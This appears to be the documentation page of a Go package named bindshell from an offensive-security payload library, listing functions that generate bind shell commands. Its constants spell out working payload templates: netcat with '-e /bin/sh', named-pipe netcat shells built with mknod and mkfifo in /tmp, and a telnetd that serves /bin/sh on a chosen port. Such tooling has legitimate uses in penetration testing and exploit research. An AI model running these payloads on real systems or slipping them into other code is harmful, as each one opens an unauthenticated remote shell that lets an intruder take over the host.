bindshell

package
v1.21.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 15, 2024 License: Apache-2.0 Imports: 2 Imported by: 0

Documentation

Overview

Bind shell payloads & listeners.

The bindshell package contains all the code for generating bind shells that listen on a port for interaction.

As with all the payload sub-packages, each of these payload types can be used either in the raw string format for manipulation or via the specific payload type provided by the project. This allows the following usage patterns to have the same output:

bindshell.Netcat.Default(1337)
bindshell.Netcat.Mknod(1337)
fmt.Sprintf(bindshell.NetcatMknod, 1337)

Index

Constants

View Source
const (
	NetcatDefault = "nc -l -p %d -e /bin/sh"
	NetcatMknod   = `cd /tmp; mknod %s p; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;`
	NetcatMkfifo  = `cd /tmp; mkfifo %s; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;`
)
View Source
const TelnetDefault = "telnetd -l /bin/sh -p %d"

Variables

View Source
var (
	Netcat = &NetcatPayload{}
	Telnet = &TelnetPayload{}
)

Functions

This section is empty.

Types

type BindShell

type BindShell interface {
	Default
}

type Default

type Default interface{}

type NetcatPayload

type NetcatPayload struct{}

func (*NetcatPayload) Default

func (nc *NetcatPayload) Default(bport int) string

func (*NetcatPayload) Gaping

func (nc *NetcatPayload) Gaping(bport int) string

func (*NetcatPayload) Mkfifo

func (nc *NetcatPayload) Mkfifo(bport int) string

func (*NetcatPayload) Mknod

func (nc *NetcatPayload) Mknod(bport int) string

type TelnetPayload

type TelnetPayload struct{}

func (*TelnetPayload) Default

func (telnet *TelnetPayload) Default(bport int) string

func (*TelnetPayload) TelnetdLogin

func (telnet *TelnetPayload) TelnetdLogin(bport int) string

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL